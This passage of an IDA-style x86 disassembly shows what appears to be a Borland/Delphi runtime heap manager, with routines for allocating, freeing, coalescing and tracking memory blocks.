var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFE8h
		mov	[esp+28h+var_28], ecx
		mov	edi, edx
		mov	ebx, eax
		lea	esi, [esp+28h+var_24]
		mov	ebp, offset off_4075E4
		add	edi, 3FFFh
		and	edi, 0FFFFC000h


loc_401767:				; CODE XREF: sub_401744+82j
					; sub_401744+C9j
		mov	eax, [ebp+0]
		mov	[esi], eax
		jmp	short loc_401774
; ---------------------------------------------------------------------------


loc_40176E:				; CODE XREF: sub_401744+39j
		mov	eax, [esi]
		mov	eax, [eax]
		mov	[esi], eax


loc_401774:				; CODE XREF: sub_401744+28j
		cmp	ebp, [esi]
		jz	short loc_40177F
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_40176E


loc_40177F:				; CODE XREF: sub_401744+32j
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jnz	short loc_4017E5
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jle	loc_40182D
		mov	eax, [esi]
		mov	edx, edi
		sub	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	eax, [eax+8]
		mov	ecx, [esi]
		add	eax, [ecx+0Ch]
		lea	ecx, [esp+28h+var_20]
		call	sub_4013E0
		cmp	[esp+28h+var_20], 0
		jz	short loc_4017E5
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401230
		cmp	[esp+28h+var_18], 0
		jnz	short loc_401767
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401458
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	loc_40187F
; ---------------------------------------------------------------------------


loc_4017E5:				; CODE XREF: sub_401744+40j
					; sub_401744+6Cj
		lea	ecx, [esp+28h+var_20]
		mov	edx, edi
		mov	eax, ebx
		call	sub_4013E0
		cmp	[esp+28h+var_20], 0
		jz	short loc_40182D
		lea	ecx, [esp+28h+var_18]
		lea	edx, [esp+28h+var_20]
		mov	eax, ebp
		call	sub_401230
		cmp	[esp+28h+var_18], 0
		jnz	loc_401767
		lea	ecx, [esp+28h+var_18]
		mov	edx, [esp+28h+var_1C]
		mov	eax, [esp+28h+var_20]
		call	sub_401458
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx
		jmp	short loc_40187F
; ---------------------------------------------------------------------------


loc_40182D:				; CODE XREF: sub_401744+47j
					; sub_401744+B3j
		mov	eax, [esi]
		mov	ebp, [eax+8]
		cmp	ebx, ebp
		jnz	short loc_401878
		mov	eax, [esi]
		cmp	edi, [eax+0Ch]
		jg	short loc_401878
		mov	ecx, [esp+28h+var_28]
		mov	eax, ebp
		mov	edx, edi
		call	sub_401520
		mov	eax, [esp+28h+var_28]
		cmp	dword ptr [eax], 0
		jz	short loc_40187F
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		add	[edx+8], eax
		mov	eax, [esp+28h+var_28]
		mov	eax, [eax+4]
		mov	edx, [esi]
		sub	[edx+0Ch], eax
		mov	eax, [esi]
		cmp	dword ptr [eax+0Ch], 0
		jnz	short loc_40187F
		mov	eax, [esi]
		call	sub_4011FC
		jmp	short loc_40187F
; ---------------------------------------------------------------------------


loc_401878:				; CODE XREF: sub_401744+F0j
					; sub_401744+F7j
		mov	eax, [esp+28h+var_28]
		xor	edx, edx
		mov	[eax], edx


loc_40187F:				; CODE XREF: sub_401744+9Cj
					; sub_401744+E7j ...
		add	esp, 18h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401744	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401888	proc near		; CODE XREF: sub_401D0C+5Bp
					; sub_401D0C+6Cp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFE8h
		mov	ebx, ecx
		lea	ecx, [eax+3FFFh]
		and	ecx, 0FFFFC000h
		mov	[esp+1Ch+var_1C], ecx
		add	edx, eax
		and	edx, 0FFFFC000h
		mov	[esp+1Ch+var_18], edx
		mov	eax, [esp+1Ch+var_18]
		cmp	eax, [esp+1Ch+var_1C]
		jbe	short loc_401911
		mov	ecx, ebx
		mov	edx, [esp+1Ch+var_18]
		sub	edx, [esp+1Ch+var_1C]
		mov	eax, [esp+1Ch+var_1C]
		call	sub_4015E0
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, ebx
		mov	eax, offset off_4075E4
		call	sub_401230
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jz	short loc_4018FA
		lea	ecx, [esp+1Ch+var_C]
		mov	edx, [esp+1Ch+var_10]
		mov	eax, ebx
		call	sub_401458
		mov	eax, [esp+1Ch+var_C]
		mov	[esp+1Ch+var_14], eax
		mov	eax, [esp+1Ch+var_8]
		mov	[esp+1Ch+var_10], eax


loc_4018FA:				; CODE XREF: sub_401888+51j
		cmp	[esp+1Ch+var_14], 0
		jz	short loc_401915
		lea	edx, [esp+1Ch+var_14]
		mov	eax, offset off_4075E4
		call	sub_4012B8
		jmp	short loc_401915
; ---------------------------------------------------------------------------


loc_401911:				; CODE XREF: sub_401888+28j
		xor	eax, eax
		mov	[ebx], eax


loc_401915:				; CODE XREF: sub_401888+77j
					; sub_401888+87j
		add	esp, 18h
		pop	ebx
		retn
sub_401888	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40191C	proc near		; CODE XREF: sub_402178+12p
					; sub_402324+19p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00402F8C SIZE 00000036 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		xor	edx, edx
		push	ebp
		push	offset loc_4019E4
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		push	offset dword_4075B4
		call	sub_4010F4	; InitializeCriticalSection
		cmp	ds:byte_407035,	0
		jz	short loc_40194B
		push	offset dword_4075B4
		call	sub_4010FC	; RtlEnterCriticalSection


loc_40194B:				; CODE XREF: sub_40191C+23j
		mov	eax, offset off_4075D4
		call	sub_401198
		mov	eax, offset off_4075E4
		call	sub_401198
		mov	eax, offset off_407610
		call	sub_401198
		push	0FF8h
		push	0
		call	sub_4010D4	; LocalAlloc
		mov	ds:dword_40760C, eax
		cmp	ds:dword_40760C, 0
		jz	short loc_4019C3
		mov	eax, 3


loc_401988:				; CODE XREF: sub_40191C+7Ej
		mov	edx, ds:dword_40760C
		xor	ecx, ecx
		mov	[edx+eax*4-0Ch], ecx
		inc	eax
		cmp	eax, 401h
		jnz	short loc_401988
		mov	[ebp+var_4], offset dword_4075F4
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax+4], edx
		mov	eax, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	[eax], edx
		mov	eax, [ebp+var_4]
		mov	ds:dword_407600, eax
		mov	ds:byte_4075AC,	1


loc_4019C3:				; CODE XREF: sub_40191C+65j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_4019EB


loc_4019D0:				; CODE XREF: sub_40191C+CDj
		cmp	ds:byte_407035,	0
		jz	short locret_4019E3
		push	offset dword_4075B4
		call	sub_401104	; RtlLeaveCriticalSection

locret_4019E3:				; CODE XREF: sub_40191C+BBj
		retn
; ---------------------------------------------------------------------------


loc_4019E4:				; DATA XREF: sub_40191C+7o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_4019D0
; ---------------------------------------------------------------------------


loc_4019EB:				; DATA XREF: sub_40191C+AFo
		mov	al, ds:byte_4075AC
		pop	ecx
		pop	ebp
		retn
sub_40191C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4019F4	proc near		; CODE XREF: sub_403A90+37p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		cmp	ds:byte_4075AC,	0
		jz	loc_401AEF
		xor	eax, eax
		push	ebp
		push	offset loc_401AE8
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		cmp	ds:byte_407035,	0
		jz	short loc_401A28
		push	offset dword_4075B4
		call	sub_4010FC	; RtlEnterCriticalSection


loc_401A28:				; CODE XREF: sub_4019F4+28j
		mov	ds:byte_4075AC,	0
		mov	eax, ds:dword_40760C
		push	eax
		call	sub_4010DC	; LocalFree
		xor	eax, eax
		mov	ds:dword_40760C, eax
		mov	eax, ds:off_4075D4
		mov	[ebp+var_8], eax
		jmp	short loc_401A66
; ---------------------------------------------------------------------------


loc_401A4B:				; CODE XREF: sub_4019F4+7Aj
		push	8000h
		push	0
		mov	eax, [ebp+var_8]
		mov	eax, [eax+8]
		push	eax
		call	sub_4010EC	; VirtualFree
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax


loc_401A66:				; CODE XREF: sub_4019F4+55j
		mov	eax, offset off_4075D4
		cmp	eax, [ebp+var_8]
		jnz	short loc_401A4B
		mov	eax, offset off_4075D4
		call	sub_401198
		mov	eax, offset off_4075E4
		call	sub_401198
		mov	eax, offset off_407610
		call	sub_401198
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_401ABD


loc_401A9C:				; CODE XREF: sub_4019F4+C7j
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	ds:dword_4075CC, eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_4010DC	; LocalFree
		mov	eax, ds:dword_4075CC
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_401A9C


loc_401ABD:				; CODE XREF: sub_4019F4+A6j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_401AEF


loc_401ACA:				; CODE XREF: sub_4019F4+F9j
		cmp	ds:byte_407035,	0
		jz	short loc_401ADD
		push	offset dword_4075B4
		call	sub_401104	; RtlLeaveCriticalSection


loc_401ADD:				; CODE XREF: sub_4019F4+DDj
		push	offset dword_4075B4
		call	sub_40110C	; RtlDeleteCriticalSection
		retn
; ---------------------------------------------------------------------------


loc_401AE8:				; DATA XREF: sub_4019F4+16o
		jmp	loc_402F8C
; ---------------------------------------------------------------------------
		jmp	short loc_401ACA
; ---------------------------------------------------------------------------


loc_401AEF:				; CODE XREF: sub_4019F4+Dj
					; DATA XREF: sub_4019F4+D1o
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4019F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401AF4	proc near		; CODE XREF: sub_401C54+6Bp
					; sub_401CCC+25p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

		push	ebx
		add	esp, 0FFFFFFF8h
		cmp	eax, ds:dword_407600
		jnz	short loc_401B09
		mov	edx, [eax+4]
		mov	ds:dword_407600, edx


loc_401B09:				; CODE XREF: sub_401AF4+Aj
		mov	edx, [eax+4]
		mov	[esp+0Ch+var_C], edx
		mov	edx, [eax+8]
		cmp	edx, 1000h
		jg	short loc_401B68
		cmp	eax, [esp+0Ch+var_C]
		jnz	short loc_401B36
		test	edx, edx
		jns	short loc_401B26
		add	edx, 3


loc_401B26:				; CODE XREF: sub_401AF4+2Dj
		sar	edx, 2
		mov	eax, ds:dword_40760C
		xor	ecx, ecx
		mov	[eax+edx*4-0Ch], ecx
		jmp	short loc_401B81
; ---------------------------------------------------------------------------


loc_401B36:				; CODE XREF: sub_401AF4+29j
		test	edx, edx
		jns	short loc_401B3D
		add	edx, 3


loc_401B3D:				; CODE XREF: sub_401AF4+44j
		sar	edx, 2
		mov	ecx, ds:dword_40760C
		mov	ebx, [esp+0Ch+var_C]
		mov	[ecx+edx*4-0Ch], ebx
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx
		jmp	short loc_401B81
; ---------------------------------------------------------------------------


loc_401B68:				; CODE XREF: sub_401AF4+24j
		mov	eax, [eax]
		mov	[esp+0Ch+var_8], eax
		mov	eax, [esp+0Ch+var_C]
		mov	edx, [esp+0Ch+var_8]
		mov	[eax], edx
		mov	eax, [esp+0Ch+var_8]
		mov	edx, [esp+0Ch+var_C]
		mov	[eax+4], edx


loc_401B81:				; CODE XREF: sub_401AF4+40j
					; sub_401AF4+72j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401AF4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401B88	proc near		; CODE XREF: sub_401D0C+Fp
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	edx, ds:off_407610
		mov	[ecx], edx
		jmp	short loc_401BAE
; ---------------------------------------------------------------------------


loc_401B96:				; CODE XREF: sub_401B88+2Dj
		mov	edx, [ecx]
		mov	edx, [edx+8]
		cmp	eax, edx
		jb	short loc_401BA8
		mov	ebx, [ecx]
		add	edx, [ebx+0Ch]
		cmp	eax, edx
		jb	short loc_401BC5


loc_401BA8:				; CODE XREF: sub_401B88+15j
		mov	edx, [ecx]
		mov	edx, [edx]
		mov	[ecx], edx


loc_401BAE:				; CODE XREF: sub_401B88+Cj
		mov	edx, offset off_407610
		cmp	edx, [ecx]
		jnz	short loc_401B96
		mov	ds:dword_4075B0, 3
		xor	eax, eax
		mov	[ecx], eax


loc_401BC5:				; CODE XREF: sub_401B88+1Ej
		mov	eax, [ecx]
		pop	edx
		pop	ebx
		retn
sub_401B88	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401BCC	proc near		; CODE XREF: sub_401D0C+7Ep
					; sub_401F0C+68p

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ecx, edx
		sub	ecx, 4
		lea	ebx, [ecx+eax]
		mov	[esp+8+var_8], ebx
		cmp	edx, 10h
		jl	short loc_401BF1
		mov	edx, [esp+8+var_8]
		mov	dword ptr [edx], 80000007h
		mov	edx, ecx
		call	sub_401DC8
		pop	edx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401BF1:				; CODE XREF: sub_401BCC+10j
		cmp	edx, 4
		jl	short loc_401C05
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx
		mov	eax, [esp+8+var_8]
		mov	[eax], ecx


loc_401C05:				; CODE XREF: sub_401BCC+28j
		pop	edx
		pop	ebx
		retn
sub_401BCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C08	proc near		; CODE XREF: sub_401C2C+Dp
					; sub_401EC0+36p ...
		inc	ds:dword_40759C
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		and	edx, 7FFFFFFCh
		sub	edx, 4
		add	ds:dword_4075A0, edx
		call	sub_402324
		retn
sub_401C08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401C2C	proc near		; CODE XREF: sub_401D0C+A0p
		cmp	edx, 0Ch
		jl	short loc_401C3F
		or	edx, 2
		mov	[eax], edx
		add	eax, 4
		call	sub_401C08
		retn
; ---------------------------------------------------------------------------


loc_401C3F:				; CODE XREF: sub_401C2C+3j
		cmp	edx, 4
		jl	short loc_401C4E
		mov	ecx, edx
		or	ecx, 80000002h
		mov	[eax], ecx


loc_401C4E:				; CODE XREF: sub_401C2C+16j
		add	eax, edx
		and	dword ptr [eax], 0FFFFFFFEh
		retn
sub_401C2C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401C54	proc near		; CODE XREF: sub_401F0C+36p

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	edx, eax
		sub	edx, 4
		mov	edx, [edx]
		mov	ecx, edx
		and	ecx, 80000002h
		cmp	ecx, 80000002h
		jz	short loc_401C78
		mov	ds:dword_4075B0, 4


loc_401C78:				; CODE XREF: sub_401C54+18j
		mov	ebx, edx
		and	ebx, 7FFFFFFCh
		sub	eax, ebx
		mov	ecx, eax
		xor	edx, [ecx]
		test	edx, 0FFFFFFFEh
		jz	short loc_401C98
		mov	ds:dword_4075B0, 5


loc_401C98:				; CODE XREF: sub_401C54+38j
		test	byte ptr [ecx],	1
		jz	short loc_401CC6
		mov	edx, eax
		sub	edx, 0Ch
		mov	esi, [edx+8]
		sub	eax, esi
		mov	[esp+0Ch+var_C], eax
		mov	eax, [esp+0Ch+var_C]
		cmp	esi, [eax+8]
		jz	short loc_401CBC
		mov	ds:dword_4075B0, 6


loc_401CBC:				; CODE XREF: sub_401C54+5Cj
		mov	eax, [esp+0Ch+var_C]
		call	sub_401AF4
		add	ebx, esi


loc_401CC6:				; CODE XREF: sub_401C54+47j
		mov	eax, ebx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401C54	endp


; =============== S U B	R O U T	I N E =======================================



sub_401CCC	proc near		; CODE XREF: sub_401F0C+4Fp

var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		push	ecx
		mov	ebx, eax
		xor	esi, esi
		mov	eax, [ebx]
		test	eax, 80000000h
		jz	short loc_401CE7
		and	eax, 7FFFFFFCh
		add	esi, eax
		add	ebx, eax
		mov	eax, [ebx]


loc_401CE7:				; CODE XREF: sub_401CCC+Ej
		test	al, 2
		jnz	short loc_401D03
		mov	[esp+0Ch+var_C], ebx
		mov	eax, [esp+0Ch+var_C]
		call	sub_401AF4
		mov	eax, [esp+0Ch+var_C]
		mov	eax, [eax+8]
		add	esi, eax
		add	ebx, eax
		and	dword ptr [ebx], 0FFFFFFFEh


loc_401D03:				; CODE XREF: sub_401CCC+1Dj
		mov	eax, esi
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401CCC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401D0C	proc near		; CODE XREF: sub_401DC8+A7p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	esi, edx
		mov	ebp, eax
		xor	ebx, ebx
		mov	eax, ebp
		call	sub_401B88
		mov	[esp+1Ch+var_14], eax
		cmp	[esp+1Ch+var_14], 0
		jz	loc_401DBE
		mov	eax, [esp+1Ch+var_14]
		mov	edi, [eax+8]
		mov	eax, edi
		mov	edx, [esp+1Ch+var_14]
		add	eax, [edx+0Ch]
		mov	edx, eax
		lea	ecx, [esi+ebp]
		sub	edx, ecx
		cmp	edx, 0Ch
		jg	short loc_401D4F
		mov	esi, eax
		sub	esi, ebp


loc_401D4F:				; CODE XREF: sub_401D0C+3Dj
		mov	eax, ebp
		sub	eax, edi
		cmp	eax, 0Ch
		jge	short loc_401D6E
		mov	eax, [esp+1Ch+var_14]
		mov	edx, ebp
		sub	edx, [eax+8]
		add	edx, esi
		mov	ecx, esp
		mov	eax, edi
		call	sub_401888
		jmp	short loc_401D7D
; ---------------------------------------------------------------------------


loc_401D6E:				; CODE XREF: sub_401D0C+4Aj
		mov	ecx, esp
		mov	edx, esi
		sub	edx, 4
		lea	eax, [ebp+4]
		call	sub_401888


loc_401D7D:				; CODE XREF: sub_401D0C+60j
		mov	edi, [esp+1Ch+var_1C]
		test	edi, edi
		jz	short loc_401DBE
		mov	edx, edi
		sub	edx, ebp
		mov	eax, ebp
		call	sub_401BCC
		mov	edx, [esp+1Ch+var_14]
		mov	edx, [edx+8]
		mov	ecx, [esp+1Ch+var_14]
		add	edx, [ecx+0Ch]
		mov	eax, edi
		add	eax, [esp+1Ch+var_18]
		cmp	edx, eax
		jbe	short loc_401DB1
		lea	edx, [esi+ebp]
		sub	edx, eax
		call	sub_401C2C


loc_401DB1:				; CODE XREF: sub_401D0C+99j
		mov	edx, esp
		mov	eax, [esp+1Ch+var_14]
		call	sub_4012B8
		mov	bl, 1


loc_401DBE:				; CODE XREF: sub_401D0C+1Dj
					; sub_401D0C+76j
		mov	eax, ebx
		add	esp, 0Ch
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401D0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DC8	proc near		; CODE XREF: sub_401BCC+1Dp
					; sub_402030+EEp ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch

		push	ebx
		push	esi
		add	esp, 0FFFFFFF4h
		mov	ebx, edx
		mov	esi, eax
		mov	[esp+14h+var_14], esi
		mov	eax, [esp+14h+var_14]
		mov	[eax+8], ebx
		mov	eax, [esp+14h+var_14]
		add	eax, ebx
		sub	eax, 0Ch
		mov	[eax+8], ebx
		cmp	ebx, 1000h
		jg	short loc_401E63
		mov	eax, ebx
		test	eax, eax
		jns	short loc_401DF6
		add	eax, 3


loc_401DF6:				; CODE XREF: sub_401DC8+29j
		sar	eax, 2
		mov	edx, ds:dword_40760C
		mov	edx, [edx+eax*4-0Ch]
		mov	[esp+14h+var_10], edx
		cmp	[esp+14h+var_10], 0
		jnz	short loc_401E31
		mov	edx, ds:dword_40760C
		mov	ecx, [esp+14h+var_14]
		mov	[edx+eax*4-0Ch], ecx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		jmp	loc_401EB9
; ---------------------------------------------------------------------------


loc_401E31:				; CODE XREF: sub_401DC8+44j
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx
		jmp	short loc_401EB9
; ---------------------------------------------------------------------------


loc_401E63:				; CODE XREF: sub_401DC8+23j
		cmp	ebx, 3C00h
		jl	short loc_401E78
		mov	edx, ebx
		mov	eax, esi
		call	sub_401D0C
		test	al, al
		jnz	short loc_401EB9


loc_401E78:				; CODE XREF: sub_401DC8+A1j
		mov	eax, ds:dword_407600
		mov	[esp+14h+var_10], eax
		mov	eax, [esp+14h+var_14]
		mov	ds:dword_407600, eax
		mov	eax, [esp+14h+var_10]
		mov	eax, [eax]
		mov	[esp+14h+var_C], eax
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_10]
		mov	[eax+4], edx
		mov	eax, [esp+14h+var_14]
		mov	edx, [esp+14h+var_C]
		mov	[eax], edx
		mov	eax, [esp+14h+var_10]
		mov	edx, [esp+14h+var_14]
		mov	[eax], edx
		mov	eax, [esp+14h+var_C]
		mov	edx, [esp+14h+var_14]
		mov	[eax+4], edx


loc_401EB9:				; CODE XREF: sub_401DC8+64j
					; sub_401DC8+99j ...
		add	esp, 0Ch
		pop	esi
		pop	ebx
		retn
sub_401DC8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EC0	proc near		; CODE XREF: sub_401F0C+Fp
					; sub_402324+11Dp ...
		cmp	ds:dword_407604, 0
		jle	short locret_401F09
		cmp	ds:dword_407604, 0Ch
		jge	short loc_401EDE
		mov	ds:dword_4075B0, 7
		jmp	short locret_401F09
; ---------------------------------------------------------------------------


loc_401EDE:				; CODE XREF: sub_401EC0+10j
		mov	eax, ds:dword_407604
		or	eax, 2
		mov	edx, ds:dword_407608
		mov	[edx], eax
		mov	eax, ds:dword_407608
		add	eax, 4
		call	sub_401C08
		xor	eax, eax
		mov	ds:dword_407608, eax
		xor	eax, eax
		mov	ds:dword_407604, eax

locret_401F09:				; CODE XREF: sub_401EC0+7j
					; sub_401EC0+1Cj
		retn
sub_401EC0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401F0C	proc near		; CODE XREF: sub_401F98+18p
					; sub_401FC4+1Dp

var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFF0h
		mov	esi, eax
		lea	edi, [esp+1Ch+var_1C]
		movsd
		movsd
		mov	edi, esp
		call	sub_401EC0
		lea	ecx, [esp+1Ch+var_14]
		mov	edx, edi
		mov	eax, offset off_407610
		call	sub_401230
		mov	ebx, [esp+1Ch+var_14]
		test	ebx, ebx
		jnz	short loc_401F3C
		xor	eax, eax
		jmp	short loc_401F8E
; ---------------------------------------------------------------------------


loc_401F3C:				; CODE XREF: sub_401F0C+2Aj
		mov	eax, [edi]
		cmp	ebx, eax
		jnb	short loc_401F4C
		call	sub_401C54
		sub	[edi], eax
		add	[edi+4], eax


loc_401F4C:				; CODE XREF: sub_401F0C+34j
		mov	eax, [edi]
		add	eax, [edi+4]
		mov	esi, ebx
		add	esi, [esp+1Ch+var_10]
		cmp	eax, esi
		jnb	short loc_401F63
		call	sub_401CCC
		add	[edi+4], eax


loc_401F63:				; CODE XREF: sub_401F0C+4Dj
		mov	eax, [edi]
		add	eax, [edi+4]
		cmp	esi, eax
		jnz	short loc_401F7D
		sub	eax, 4
		mov	edx, 4
		call	sub_401BCC
		sub	dword ptr [edi+4], 4


loc_401F7D:				; CODE XREF: sub_401F0C+5Ej
		mov	eax, [edi]
		mov	ds:dword_407608, eax
		mov	eax, [edi+4]
		mov	ds:dword_407604, eax
		mov	al, 1


loc_401F8E:				; CODE XREF: sub_401F0C+2Ej
		add	esp, 10h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_401F0C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401F98	proc near		; CODE XREF: sub_402030+76p

var_C		= dword	ptr -0Ch

		push	ebx
		add	esp, 0FFFFFFF8h
		mov	ebx, eax
		mov	edx, esp
		lea	eax, [ebx+4]
		call	sub_40169C
		cmp	[esp+0Ch+var_C], 0
		jz	short loc_401FB9
		mov	eax, esp
		call	sub_401F0C
		test	al, al
		jnz	short loc_401FBD


loc_401FB9:				; CODE XREF: sub_401F98+14j
		xor	eax, eax
		jmp	short loc_401FBF
; ---------------------------------------------------------------------------


loc_401FBD:				; CODE XREF: sub_401F98+1Fj
		mov	al, 1


loc_401FBF:				; CODE XREF: sub_401F98+23j
		pop	ecx
		pop	edx
		pop	ebx
		retn
sub_401F98	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FC4	proc near		; CODE XREF: sub_4024FC+1C3p

var_10		= dword	ptr -10h

		push	ebx
		push	esi
		add	esp, 0FFFFFFF8h
		mov	esi, edx
		mov	ebx, eax
		mov	ecx, esp
		lea	edx, [esi+4]
		mov	eax, ebx
		call	sub_401744
		cmp	[esp+10h+var_10], 0
		jz	short loc_401FEA
		mov	eax, esp
		call	sub_401F0C
		test	al, al
		jnz	short loc_401FEE


loc_401FEA:				; CODE XREF: sub_401FC4+19j
		xor	eax, eax
		jmp	short loc_401FF0
; ---------------------------------------------------------------------------


loc_401FEE:				; CODE XREF: sub_401FC4+24j
		mov	al, 1


loc_401FF0:				; CODE XREF: sub_401FC4+28j
		pop	ecx
		pop	edx
		pop	esi
		pop	ebx
		retn
sub_401FC4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_401FF8	proc near		; CODE XREF: sub_402030+68p
		push	ecx
		mov	edx, esp
		xor	ecx, ecx
		mov	[edx], ecx
		test	eax, eax
		jns	short loc_402006
		add	eax, 3


loc_402006:				; CODE XREF: sub_401FF8+9j
		sar	eax, 2
		cmp	eax, 400h
		jg	short loc_402029


loc_402010:				; CODE XREF: sub_401FF8+2Fj
		mov	ecx, ds:dword_40760C
		mov	ecx, [ecx+eax*4-0Ch]
		mov	[edx], ecx
		cmp	dword ptr [edx], 0
		jnz	short loc_402029
		inc	eax
		cmp	eax, 401h
		jnz	short loc_402010


loc_402029:				; CODE XREF: sub_401FF8+16j
					; sub_401FF8+27j
		mov	eax, [edx]
		pop	edx
		retn
sub_401FF8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402030	proc near		; CODE XREF: sub_402178+173p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h

		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFFFF4h
		mov	ebx, eax
		lea	esi, [esp+1Ch+var_14]
		mov	edi, offset dword_407600
		mov	ebp, offset dword_407604


loc_402047:				; CODE XREF: sub_402030+8Cj
		mov	eax, ds:dword_4075F8
		mov	[esi], eax
		mov	eax, [esi]
		cmp	ebx, [eax+8]
		jle	loc_402104
		mov	eax, [edi]
		mov	[esi], eax
		mov	eax, [esi]
		mov	eax, [eax+8]
		cmp	ebx, eax
		jle	loc_402104
		mov	edx, [esi]
		mov	[edx+8], ebx


loc_40206F:				; CODE XREF: sub_402030+4Bj
		mov	edx, [esi]
		mov	edx, [edx+4]
		mov	[esi], edx
